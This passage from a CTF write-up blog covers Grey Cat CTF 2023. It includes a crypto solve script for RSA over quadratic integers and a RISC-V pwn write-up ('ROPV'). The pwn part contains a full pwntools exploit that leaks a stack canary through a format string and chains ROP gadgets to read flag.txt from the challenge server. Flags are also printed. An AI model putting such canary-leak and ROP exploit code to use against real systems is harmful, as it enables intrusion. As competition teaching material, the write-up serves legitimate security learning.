    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">=</span> <span class="n">a</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">=</span> <span class="n">b</span>

    <span class="k">def</span> <span class="nf">__add__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">Q</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">+</span> <span class="n">other</span><span class="p">.</span><span class="n">a</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">+</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">__sub__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">Q</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">-</span> <span class="n">other</span><span class="p">.</span><span class="n">a</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">-</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">__mul__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="n">a</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">*</span> <span class="n">other</span><span class="p">.</span><span class="n">a</span> <span class="o">+</span> <span class="n">Q</span><span class="p">.</span><span class="n">d</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">*</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span>
        <span class="n">b</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">*</span> <span class="n">other</span><span class="p">.</span><span class="n">a</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">*</span> <span class="n">other</span><span class="p">.</span><span class="n">b</span>
        <span class="k">return</span> <span class="n">Q</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">__truediv__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="n">top</span> <span class="o">=</span> <span class="bp">self</span> <span class="o">*</span> <span class="n">Q</span><span class="p">(</span><span class="n">other</span><span class="p">.</span><span class="n">a</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="o">*</span><span class="n">other</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>
        <span class="n">bot</span> <span class="o">=</span> <span class="n">other</span> <span class="o">*</span> <span class="n">Q</span><span class="p">(</span><span class="n">other</span><span class="p">.</span><span class="n">a</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="o">*</span><span class="n">other</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>
        <span class="n">ra</span> <span class="o">=</span> <span class="n">top</span><span class="p">.</span><span class="n">a</span><span class="o">%</span><span class="n">bot</span><span class="p">.</span><span class="n">a</span>
        <span class="n">rb</span> <span class="o">=</span> <span class="n">top</span><span class="p">.</span><span class="n">b</span><span class="o">%</span><span class="n">bot</span><span class="p">.</span><span class="n">a</span>
        <span class="n">resa</span> <span class="o">=</span> <span class="n">top</span><span class="p">.</span><span class="n">a</span><span class="o">//</span><span class="n">bot</span><span class="p">.</span><span class="n">a</span> <span class="o">+</span> <span class="mi">1</span>
        <span class="n">resb</span> <span class="o">=</span> <span class="n">top</span><span class="p">.</span><span class="n">b</span><span class="o">//</span><span class="n">bot</span><span class="p">.</span><span class="n">a</span> <span class="o">+</span> <span class="mi">1</span>
        <span class="k">return</span> <span class="n">Q</span><span class="p">(</span><span class="n">resa</span><span class="p">,</span> <span class="n">resb</span><span class="p">)</span>

<span class="c1"># taken from https://www.diva-portal.org/smash/get/diva2:1170568/FULLTEXT01.pdf
</span>    <span class="k">def</span> <span class="nf">__mod__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">other</span><span class="p">):</span>
        <span class="n">divs</span> <span class="o">=</span> <span class="bp">self</span><span class="o">/</span><span class="n">other</span>
        <span class="n">x</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">divs</span><span class="p">.</span><span class="n">a</span><span class="p">)</span>
        <span class="n">y</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">divs</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>
        <span class="k">for</span> <span class="p">(</span><span class="n">difx</span><span class="p">,</span> <span class="n">dify</span><span class="p">)</span> <span class="ow">in</span> <span class="p">([</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">]):</span>
            <span class="n">res</span> <span class="o">=</span> <span class="bp">self</span> <span class="o">-</span> <span class="p">(</span><span class="n">other</span> <span class="o">*</span> <span class="n">Q</span><span class="p">(</span><span class="n">x</span><span class="o">+</span><span class="n">difx</span><span class="p">,</span> <span class="n">y</span><span class="o">+</span><span class="n">dify</span><span class="p">))</span>
            <span class="k">if</span> <span class="n">res</span><span class="p">.</span><span class="n">a</span><span class="o">&gt;</span><span class="mi">0</span> <span class="ow">and</span> <span class="n">res</span><span class="p">.</span><span class="n">b</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">:</span>
<span class="c1">#                print(difx, dify)
</span>                <span class="k">return</span> <span class="n">res</span>
<span class="c1">#        assert(res.norm() &lt; other.norm())
</span>        <span class="k">print</span><span class="p">(</span><span class="s">"mod not sat"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">res</span>

    <span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">'(</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span><span class="si">}</span><span class="s">, </span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="si">}</span><span class="s">)'</span>

    <span class="k">def</span> <span class="nf">norm</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="nb">abs</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">-</span> <span class="n">Q</span><span class="p">.</span><span class="n">d</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">Qpower</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">m</span><span class="p">):</span>
    <span class="n">res</span> <span class="o">=</span> <span class="n">Q</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">b</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">):</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">b</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">):</span> <span class="n">res</span> <span class="o">=</span> <span class="p">(</span><span class="n">res</span> <span class="o">*</span> <span class="n">a</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span>
        <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="n">a</span> <span class="o">*</span> <span class="n">a</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span>
        <span class="n">b</span> <span class="o">//=</span> <span class="mi">2</span>
    <span class="k">return</span> <span class="n">res</span>

<span class="n">N_a</span> <span class="o">=</span> <span class="mi">2613240571441392195964088630982261349682821645613497396226742971850092862049682714123355029612448609254303796690909646594946069650719320421550307082460305103785198772732273571020529003974320397237096691522804712706512030715753640155668659684093067319185265153545236392472134496428382266600090383797614653942221936332929175557303391656241351117808833959918253404012245633586322491783496235954011173498460231177697737092488315432823871012224368640000000</span>
<span class="n">N_b</span> <span class="o">=</span> <span class="mi">406631291381063062708368640624433195177629887128324992156536215422427085251271158548246052765619573442134462500652616281986273622217404519958464200902599497611719198311591180368508835389781999428982410097278062504076636059232055783729252448502542597951710294264137195997893054083787667027206495381119048279226753306334118272352371363733528942151156768581101905518532465160584386180402709606771189313858666352673319676040954150310530906188677120000000</span>
<span class="n">C_a</span> <span class="o">=</span> <span class="mi">2548711194583905242838482900078294859199882484375229964715550469790767416706725411953362845724983002558821710679258499982960453598798074631796750663774845415692650589352513765870894878170769435087683220330986573614974529690187792931316475879984809267941606365493481277785184076320720487644565808909403821593150101568803446075808715002632463329841749179295823686361086890490703942659897558782785569910876849941888829825694107185482012864247559426111336</span>
<span class="n">C_b</span> <span class="o">=</span> <span class="mi">400941158148299866665115436146084555297152646914223433988293961893848206718639579342053294961462797881591789534709492717097892667288044693824228320005182068933966525404665323301134912609777110824069569544060608441451336249895977866445507357131208911196230972379132737483251711155975474018188763433151191428844929401881703566513896999328525340678378000286116960582957867857836600614501387296599091266404311307529322130111164410987643652390537358307965</span>
<span class="n">N</span> <span class="o">=</span> <span class="n">Q</span><span class="p">(</span><span class="n">N_a</span><span class="p">,</span> <span class="n">N_b</span><span class="p">)</span>
<span class="n">C</span> <span class="o">=</span> <span class="n">Q</span><span class="p">(</span><span class="n">C_a</span><span class="p">,</span> <span class="n">C_b</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>

<span class="c1">#verify that the mod works
#print((Q(30, 23)+C*N)%N)
</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">FactorDB</span><span class="p">(</span><span class="n">N</span><span class="p">.</span><span class="n">norm</span><span class="p">())</span>
<span class="n">f</span><span class="p">.</span><span class="n">connect</span><span class="p">()</span>
<span class="n">fs</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">get_factor_from_api</span><span class="p">()</span>
<span class="c1">#print(fs)
</span>
<span class="n">phi</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="p">(</span><span class="n">num</span><span class="p">,</span> <span class="n">power</span><span class="p">)</span> <span class="ow">in</span> <span class="n">fs</span><span class="p">:</span>
    <span class="n">factor</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">num</span><span class="p">)</span>
    <span class="n">phi</span> <span class="o">*=</span> <span class="n">factor</span><span class="o">**</span><span class="p">(</span><span class="n">power</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="n">factor</span><span class="o">**</span><span class="p">(</span><span class="n">power</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">test</span> <span class="o">==</span> <span class="n">N</span><span class="p">.</span><span class="n">norm</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">phi</span><span class="p">)</span>

<span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">Qpower</span><span class="p">(</span><span class="n">C</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">),</span> <span class="n">N</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">b</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="c1"># grey{x3VkGD3K2SK5s4JW_Lmao_why_do_RSA_in_quadratic_integer}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="ropv">ROPV</h2>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>Echo service again??????????

 - jiefeng

nc 139.177.185.41 12335 
solves: 38/454
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given a binary file, upon basic inspections, we can observe that this is a riscv executable. File and checksec result is as follow.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>file ropv
ropv: ELF 64-bit LSB executable, UCB RISC-V, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, statically linked, BuildID[sha1]<span class="o">=</span>876741095749886c314618e6a23bd256072a721f, <span class="k">for </span>GNU/Linux 4.15.0, not stripped
<span class="nv">$ </span>checksec <span class="nt">--file</span> ropv
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'greyhat2023/ropv/ropv'</span>
    Arch:     em_riscv-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE <span class="o">(</span>0x10000<span class="o">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Since this is a statically linked binary, it will naturally contained a lot of function, and therefore, a lot of rop gadgets. As the name suggested, this is a rop challenge in riscv. The bug is really obvious, the program read 0x400 bytes from the user into a 8 byte buffer on stack, outputs what’s entered, then read the input again. Since the program is protected by stack canary, it is natural to use the first read to leak the canary, and the second to perform the rop attack.</p>

<p>In riscv, when a function is called, the original instruction pointer (ip) is put into the ra register. On return from a function, the ret instruction simply jump to where the ra register points to. meanwhile, register used by the function are stored on the stack by the callee, and restored before reture. Therefore, we can utilize the function epilog to set various registers before calling the functions we want. The actual rop chain is constructed by my teammate (@DeltaForce#8909 on discord) and I merely debug the exploit so that it actually works.</p>

<p>Some notable things I learn though this challenge is how to debug riscv binary on x86 system (or any other enumlatable architecture on any system). For this challenge, I used qemu-riscv64 to run the binary with <code class="language-plaintext highlighter-rouge">-g 1234</code> argument. This opens a debugger port for the emulated binary that can be attached using gdb-multiarch. On a separate terminal, I launch <code class="language-plaintext highlighter-rouge">gdb-multiarch ropv</code> and entered <code class="language-plaintext highlighter-rouge">target extend-remote :1234</code> to attach to the process. This allowed me to trace the execution and aid the exploit debugging process.</p>

<p>After the competition ended, someone linked <a href="https://github.com/nobodyisnobody/write-ups/tree/main/nullcon.HackIM.2022/pwn/typical.ROP">this writeup</a>, which indicated a universal rop gadget in riscv, which sets all a0~a7, needed for controlling syscall arguments. In this specific challenge binary, it is located in at 0x4281c. This would have been helpful during the competition, but it is still helpful information learned after the competition ended. Knowing this would have made the exploit development way easier.</p>

<div class="accordion mb-2" id="ropv_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-ropv_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#ropv_solve_py-content" aria-expanded="true" aria-controls="ropv_solve_py-content">
         <p>Show exp.py</p>
 
      </button>
    </p>
    <div id="ropv_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-ropv_solve_py" data-bs-parent="#ropv_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="s">'konsole'</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'riscv'</span>

<span class="c1"># os.environ['LD_LIBRARY_PATH'] = '.'
</span>
<span class="n">binary</span> <span class="o">=</span> <span class="s">'./ropv'</span>

<span class="n">exe</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">binary</span><span class="p">)</span>
<span class="c1"># libc = ELF('./libc.so.6')
# system = libc.symbols[b'system']
# binsh = libc.search(b'/bin/sh').__next__()
</span><span class="n">puts</span> <span class="o">=</span> <span class="n">exe</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="sa">b</span><span class="s">'puts'</span><span class="p">]</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'139.177.185.41'</span><span class="p">,</span> <span class="mi">12335</span><span class="p">)</span>
<span class="c1">#p = process(['/usr/bin/qemu-riscv64','-g','1234',binary])
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'Echo server: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'%9$lx'</span><span class="p">)</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="s">'ascii'</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">))</span>

<span class="c1"># random address in .data
</span><span class="n">flag_buf</span> <span class="o">=</span> <span class="mh">0x6f800</span>

<span class="c1"># sets s0 to s2
# sets s0, s1, s2, s3, 0x30 stack space
# this is the end of the plural eval function
</span><span class="n">set_s0_3</span> <span class="o">=</span> <span class="mh">0x10c12</span>

<span class="c1"># sets s0 to s6 and returns
# this is the end of the is_strusted_path_normalize function
</span><span class="n">set_s0_6</span> <span class="o">=</span> <span class="mh">0x3cbb8</span>

<span class="c1"># a0 = s2
# a1 = s3
# a2 = s4
# a3 = s0
# then does jalr s1
# c.mv a3, s0 ; c.mv a2, s4 ; c.mv a1, s3 ; c.mv a0, s2 ; c.jalr s1
</span><span class="n">set_a0_3</span> <span class="o">=</span> <span class="mh">0x260bc</span>

<span class="c1"># this is midway inside the open function
# for this, we must load flags into s0 (the desired flags are probably 0)
# and filename to open into a1
# a3 should probably be 0?
</span><span class="n">open_at_code</span> <span class="o">=</span> <span class="mh">0x26592</span>

<span class="c1"># sets a1 = sp + 0x18, then jalr s1
# used to set a1 to filename on stack
# c.addi4spn a1, sp, 0x18 ; c.mv a0, s4 ; c.jalr s1
</span><span class="n">addi4spn_a1</span> <span class="o">=</span> <span class="mh">0x25b2e</span>

<span class="c1"># offsets the stack by 30 so flag.txt does not overlap with canary when we go into open_at_code
# c.ldsp ra, 0x28(sp) ; c.addi16sp sp, 0x30 ; c.jr ra
</span><span class="n">offset_stack</span> <span class="o">=</span> <span class="mh">0x24f5e</span>

<span class="n">open_at_canary</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xa2\x70\x45\x61\x82\x80\xa1\xc7</span><span class="s">'</span>

<span class="c1"># this is midway inside the read function
# filedescriptor in a0
# buf in a1
# num bytes in a2
</span><span class="n">read</span> <span class="o">=</span> <span class="mh">0x26626</span>

<span class="n">payload</span> <span class="o">=</span> <span class="mi">8</span> <span class="o">*</span> <span class="sa">b</span><span class="s">'a'</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">set_s0_3</span><span class="p">)</span>
    <span class="c1"># return to set_s0_3
</span>    <span class="c1"># 0x30 stack space
</span>    <span class="c1"># s3 = 0
</span>    <span class="c1"># s2 = 0
</span>    <span class="c1"># s1 = set_s0_3
</span>    <span class="c1"># s0 = 0
</span>    <span class="c1"># ra = set_a0_3
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">set_s0_3</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">set_a0_3</span><span class="p">)</span>
    <span class="c1"># return to set_a0_3
</span>    <span class="c1"># no stack space used
</span>    <span class="c1"># a0 = s2 = 0
</span>    <span class="c1"># a1 = s3 = 0
</span>    <span class="c1"># a2 = s4 = unknown
</span>    <span class="c1"># a3 = s0 = 0
</span>
    <span class="c1"># NOTE: a shorter gadget that doesn't set s2, s3, or s0 could bs used here
</span>    <span class="c1"># jalr to set_s0_3
</span>    <span class="c1"># 0x30 stack space
</span>    <span class="c1"># s3 = 0
</span>    <span class="c1"># s2 = 0
</span>    <span class="c1"># s1 = set_s0_6
</span>    <span class="c1"># s0 = 0
</span>    <span class="c1"># ra = addi4spn_a1
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">set_s0_6</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">addi4spn_a1</span><span class="p">)</span>

    <span class="c1"># return to addi4spn_a1
</span>    <span class="c1"># no stack space used
</span>    <span class="c1"># a1 = sp + 0x18
</span>    <span class="c1"># a0 = s4 = unknown
</span>
    <span class="c1"># jalr to set_s0_6
</span>    <span class="c1"># 0x40 stack space
</span>    <span class="c1"># s6 = 0
</span>    <span class="c1"># s5 = 0
</span>    <span class="c1"># s4 = 0
</span>    <span class="c1"># s3 = flag.txt
</span>    <span class="c1"># s2 = 0
</span>    <span class="c1"># s1 = 0x6f000
</span>    <span class="c1"># s1 is used later to load stack canary in open, so set it here
</span>    <span class="c1"># s0 = 0
</span>    <span class="c1"># ra = open_at_code
</span><span class="n">payload</span> <span class="o">+=</span> <span class="mh">0x18</span> <span class="o">*</span> <span class="sa">b</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'flag.txt'</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x6f000</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">open_at_code</span><span class="p">)</span>
<span class="c1"># payload += 0x18 * b'\0' + b'flag.txt' + p64(0) + p64(open_at_code)
</span>
    <span class="c1"># return to open_at_code
</span>    <span class="c1"># 0x70 stack space
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="c1"># these 2 are s1 and s0 respectively
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">set_s0_6</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x30</span> <span class="o">*</span> <span class="sa">b</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span>

    <span class="c1"># return to set_s0_6
</span>		<span class="c1"># s2 is fd that the open returns, shouldn't be hardcoded
</span>    <span class="c1"># for this exploit, we simply enumerate through fd-s until it hits
</span>    <span class="c1"># 0x40 stack space
</span>    <span class="c1"># s6 = 0
</span>    <span class="c1"># s5 = 0
</span>    <span class="c1"># s4 = 100
</span>    <span class="c1"># s3 = flag_buf
</span>    <span class="c1"># s2 = 6 
</span>    <span class="c1"># s1 = read
</span>    <span class="c1"># s0 = 0
</span>    <span class="c1"># ra = set_a0_3
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">flag_buf</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">read</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">set_a0_3</span><span class="p">)</span>

    <span class="c1"># jalr to read
</span>    <span class="c1"># 0x20 stack_space
</span>    <span class="c1"># s0 = 0
</span>    <span class="c1"># s1 = puts
</span>    <span class="c1"># s2 = flag_buf
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">flag_buf</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">puts</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">set_a0_3</span><span class="p">)</span>

    <span class="c1"># return to set_a0_3
</span>    <span class="c1"># a0 = s2 = flag_buf
</span>    <span class="c1"># a1 = s3 = unknown
</span>    <span class="c1"># a2 = s4 = unknown
</span>    <span class="c1"># a3 = s0 = 0
</span>
    <span class="c1"># jalr to puts, which will print the flag
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'Echo server: '</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
<span class="c1">#grey{riscv_risc5_ropv_rop5_b349340j935gj09}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="Writeup" /><category term="Crypto" /><category term="Pwn" /><summary type="html"><![CDATA[Overview Last weekend, I participated in Grey Cat CTF Qual 2023 with b01lers. We ranked 22nd overall. I think the challenges are interesting and decided to post writeups on the challenges I solved. I solved 6 crypto and 1 pwn (with help from teammate) during the competition. Challenge solved after the competition are marked as [*]]]></summary></entry></feed>